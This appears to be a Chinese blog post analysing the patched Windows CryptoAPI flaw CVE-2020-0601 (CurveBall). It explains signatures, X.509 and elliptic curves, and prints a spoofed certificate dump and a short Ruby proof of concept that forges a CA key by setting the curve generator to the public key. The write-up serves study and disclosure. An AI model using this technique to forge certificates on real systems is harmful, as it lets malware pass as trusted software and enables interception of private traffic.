大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0601的利用方法主要有两种,文章最后介绍了一种,还有一种嘛,等兄弟们自己探索了。
CVE-2020-0601分析
介绍
CVE对该漏洞的简述:
Windows CryptoAPI(Crypt32.dll)验证ECC证书的方法中存在一个欺骗性漏洞,攻击者可以使用伪造的数字码签名证书对一个恶意的可执行文件进行签名来利用该漏洞,使可执行文件看起来像是来自一个可信任的、合法的来源。该漏洞也被称为“Windows CryptoAPI Spoofing Vulnerability”。
在真实环境中,攻击者利用该漏洞可以让一些恶意代码(如勒索病毒)拥有看上去可信任的证书,使得被攻击者安装恶意代码;攻击也可以通过中间人攻击的方式获取被攻击者连接受影响软件的机密信息。
数字签名
简单说明下数字签名。
Bob与Alice进行通信,Bob拥有私钥d,Alice拥有公钥e。Bob向Alice发送消息message,Alice需要确保消息的以下两个性质:
- 真实性,即消息确实是从Bob发送过来的;
- 完整性,即消息在传输过程中未经过修改;
真实性
Bob首先使用单向散列函数将消息message转换为摘要digest:
Hash(message)=digest;
然后将摘要使用私钥进行加密,得到密文ciphertext:
F(d,digest)=ciphertext;
最后将ciphertext附加在消息message后面发送给Alice:
send(message.append(ciphertext));
Alice接受到Bob发送过来的内容后首先使用公钥对附加的ciphertext解密出digest,只要能解密成功(当然Bob的私钥没有泄露),就能确保发送的内容确实来自Bob:
G(e,ciphertext)=digest;
完整性
Alice解密出digest后,与发送的内容中的消息部分message使用单向散列函数得到摘要进行对比,相等的话就可以证明message没有被改动过,也就确保了消息的完整性:
if(Hash(message) == digest)
return TRUE;
else
return FALSE;
数字证书的引入
有一位攻击者Mallory试图攻击刚才的认证过程,当Bob持有的私钥绝对安全时,Mallory可以通过窃取替换Alice持有的公钥进行中间人攻击。
此时Mallory伪装成Bob使用自己的私钥向Alice发送消息和加密的消息摘要后,Alice使用Mallory的公钥对消息摘要进行解密并验证哈希后是成功的,Alice仍然会认为Mallory发送过来的内容是完整真实的。
此时Alice就需要第三方的CA中心帮助,将Bob的公钥和一些个人信息进行加密,得到Bob的数字证书。
当Bob将附上证书和签名的消息发送给Alice,Alice使用CA中心的公钥来检查上面的数字证书,解密成功就说明Alice创建了这个证书,Bob的身份是值得信任的。
简单来说,什么东西可能被窃取,那就将其进行加密保存(如这里Alice持有的公钥),并通过第三方来进行验证(CA centre)。
在实际的使用中,数字证书的格式遵循X.509标准。
X.509
X.509是ITU公钥证书的格式标准,使用了ASN.1规定了公钥证书的结构:
Certificate ::= SEQUENCE{ //证书全部内容开始,结构化不定长编码
tbsCertificate TBSCertificate, //证书主体
signatureAlgorithm AlgorithmIdentifier, //证书签名算法标识
signatureValue BIT STRING //证书签名值,使用signatureAlgorithmv部分指定的签名算法对tbsCertificate证书主题部分签名后的值
}
证书主体结构:
TBSCertificate ::= SEQUENCE{
version [0] EXPLICIT Version DEFAULT v1, //证书版本号
sericalNumber AlgorithmIdentifier, //证书序列号,对同一CA所颁发的证书,序列号唯一标识证书
signature AlgorithmIdentifier, //证书签名算法标识
issuer Name, //证书发行者名称
validity Validity, //证书有效期
subject Name, //证书主体名称
subjectPublicKeyinfo SubjectPublicKeyInfo //证书公钥
issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL //证书发行者ID(可选),只在证书版本2,3中才有
subjectUnique [2] IMPLICIT UniqueIdentifier OPTIONAL //证书主题ID(可选),只在证书版本2,3中才有
extensions [3] EXPLICIT Extentions OPTIONAL //证书扩展段(可选),只在证书版本2,3中才有
}
比较关键的SubjectPublicKeyInfo结构:
SubjectPublicKeyInfo ::= SEQUENCE{
algorithm AlgorithmIdentifier, //公钥算法信息
subjectPublicKey BIT STRING //公钥
}
AlgorithmIdentifier(公钥算法信息)结构如下:
AlgorithmIdentifier ::= SEQUENCE{
algorithm OBJECT IDENTIFIER, //对象标识符
parameters ANY DEFINED BY algorithm OPTIONAL //可选参数
}
OID标识了公钥的算法,如rsaEncryption,OID为1.2.840.113549.1.1.1;dsa算法,OID为1.2.840.10040.4.1;ECC算法,OID为1.2.840.10045.2.1。
此时paramter结构如下(由RFC 3279定义):
EcpkParameters ::= CHOICE{
ecParameters ECParameter, //用于显示指定曲线参数
namedCurve OBJECT IDENTIFIER, //用于隐式指定曲线参数
implicitlyCA NULL
}
攻击者可以通过使用设置ecParameters参数的证书来伪造合法证书来进行漏洞利用:
ECParameter ::= SEQUENCE{
version ECPver, //版本号常设为1
field FieldID, //定义椭圆曲线定义所在的有限域
curve Curve, //定义椭圆曲线的参数a和b
base ECPoint, //设置椭圆曲线的基点P
order INTEGER, //阶数n
coofactor INTEGER OPTIONAL //可选参数,h = #E(Fq)/n
}
ECC
椭圆曲线定义方程:
y^2 = x^3 + ax + b
(4a^3 + 27b^2 mod p != 0)
该方程的解(x,y)由给定的大素数所决定的素数域GF(p)决定,取x(0 <= x <= p),计算x^3 + ax + b mod p = y^2,这里根据y^2(0 <= y <= p) mod p是否可开根即可。
椭圆曲线的生成元G可以生成椭圆曲线上其他的任意点,即{nG|n属于{1,2,3......}}表示了椭圆曲线所有点。
椭圆曲线上的任一点Q=nG一般通过如下操作计算:
2G = G ⊕ G
3G = 2G ⊕ G
.......
nG = iG ⊕ jG(i + j = n)
这里的"⊕"为椭圆曲线定义的加法运算。
加密算法
Q=dG,d为私钥,Q为公钥。通过d,G求出Q很简单,而通过Q,G求出d很困难。但是当生成元G没有经过校验,可以任意选取,那很容易通过一个G'伪造出d',只要使得:
d'G' = dG = Q
即可。
如:
G' = Q
d' = 1
G'd' = Q
攻击者通过操控ECParameter中的参数显式地指定椭圆曲线;公钥和现有证书的公钥相同。修改椭圆曲线的生成元,使得所有其他的参数与原始证书上使用的命名曲线的预定参数相同来执行该操作。
C:\Users\andycylin\Desktop\CurveBall-master\CurveBall-master>openssl x509 -in spoofed_ca.crt -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
43:cf:88:69:64:c2:44:ad:bc:d6:d6:4d:b5:44:1f:ef:00:c4:ac:36
Signature Algorithm: ecdsa-with-SHA256
Issuer: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
Validity
Not Before: Jul 21 12:01:56 2020 GMT
Not After : Aug 20 12:01:56 2020 GMT
Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
Subject Public Key Info:
Public Key Algorithm: id-ecPublicKey
Public-Key: (384 bit)
pub:
04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
7a:7d:a6:f4:01:07:ac
Field Type: prime-field
Prime:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
ff:ff:ff:ff
A:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
ff:ff:ff:fc
B:
00:b3:31:2f:a7:e2:3e:e7:e4:98:8e:05:6b:e3:f8:
2d:19:18:1d:9c:6e:fe:81:41:12:03:14:08:8f:50:
13:87:5a:c6:56:39:8d:8a:2e:d1:9d:2a:85:c8:ed:
d3:ec:2a:ef
Generator (uncompressed):
04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
7a:7d:a6:f4:01:07:ac
Order:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:c7:63:4d:81:f4:
37:2d:df:58:1a:0d:b2:48:b0:a7:7a:ec:ec:19:6a:
cc:c5:29:73
Cofactor: 1 (0x1)
Seed:
a3:35:92:6a:a3:19:a2:7a:1d:00:89:6a:67:73:a4:
82:7a:cd:ac:73
X509v3 extensions:
X509v3 Subject Key Identifier:
43:EF:70:87:B8:9D:BF:EC:88:19:DC:C6:C4:6B:75:0D:75:34:33:08
X509v3 Authority Key Identifier:
keyid:43:EF:70:87:B8:9D:BF:EC:88:19:DC:C6:C4:6B:75:0D:75:34:33:08
X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: ecdsa-with-SHA256
30:66:02:31:00:c0:a1:bd:26:39:2b:e8:ac:60:8b:2c:2b:a2:
d5:ea:cc:53:e4:c7:d6:c0:6b:4a:65:be:5e:3c:d5:82:f0:e3:
61:b2:c1:c2:54:cd:c2:f8:64:89:bd:00:d3:2b:9a:67:ee:02:
31:00:c1:03:bc:41:3d:ec:19:89:5f:1d:f4:b2:ad:43:6b:da:
60:b7:6f:ae:2b:17:00:78:db:d0:ab:cc:db:02:b7:96:d0:0b:
01:ce:c9:a6:df:b2:0e:56:d3:79:7f:37:3c:e2
可以看到伪造的证书生成元与公钥相同均为:
04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
7a:7d:a6:f4:01:07:ac
漏洞分析
漏洞利用样例
真实情形下系统使用ECC证书的例子:
- windows与wikipedia进行TLS可靠通信,wikipedia拥有由CA中心颁发的证书:
- wikipedia将证书发送给windows:
- windows会将证书放到自己的缓存中以方便下次使用,当下次使用时证书存在缓存中,则使用缓存中的证书进行校验:
- 攻击者可以伪造假的网站证书来伪装成合法网站通过windows证书校验:
这里【4】就是利用了CVE-2020-0601漏洞,该漏洞实则为windows证书缓存机制的漏洞。
缓存中保存了一些证书的公钥,攻击者可以使用其中一个的公钥进行伪造证书:
而由于缓存的证书没有验证椭圆曲线的定义,导致了证书的伪造成功:
这里就可以通过上述显式的指定ECC(指定p,a,b)来伪造可靠证书中的椭圆曲线,然后指定生成元等于公钥,这样私钥就是1,伪造出证书。
POC
Ollypwn的POC:
require 'openssl'
# 读取文件
raw = File.read ARGV[0]
# 将合法证书读取为证书
ca = OpenSSL::X509::Certficate.new(raw)
# 获取合法证书公钥
ca_pubkey = ca.public_key
# 设置私钥为1
ca_pubkey.private_key = 1
# 获取椭圆曲线的参数
group = ca_pubkey.group
# 设置生成元等于公钥
group.set_generator(ca_pubkey.public_key,group.order,group.cofactor)
# 保证使用的是ECC的参数
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
# 在公钥(最终点)基础上设置修改后的椭圆参数
ca_pubkey.group = group
# 写入伪造证书
File.open("spoofed_ca.key",'w'){|f|f.write ca_pubkey.to_pem}
code signing 欺骗
为软件进行签名:
攻击成功。
安装好补丁的则提示证书不可信:
参考:
https://www.youtube.com/watch?v=8RI60aRyhoE
https://github.com/ollypwn/CurveBall
https://ctf-wiki.github.io/ctf-wiki/crypto/signature/elgamal-zh/
https://blog.trendmicro.com/trendlabs-security-intelligence/an-in-depth-technical-analysis-of-curveball-cve-2020-0601/
https://www.anquanke.com/post/id/201228#h2-5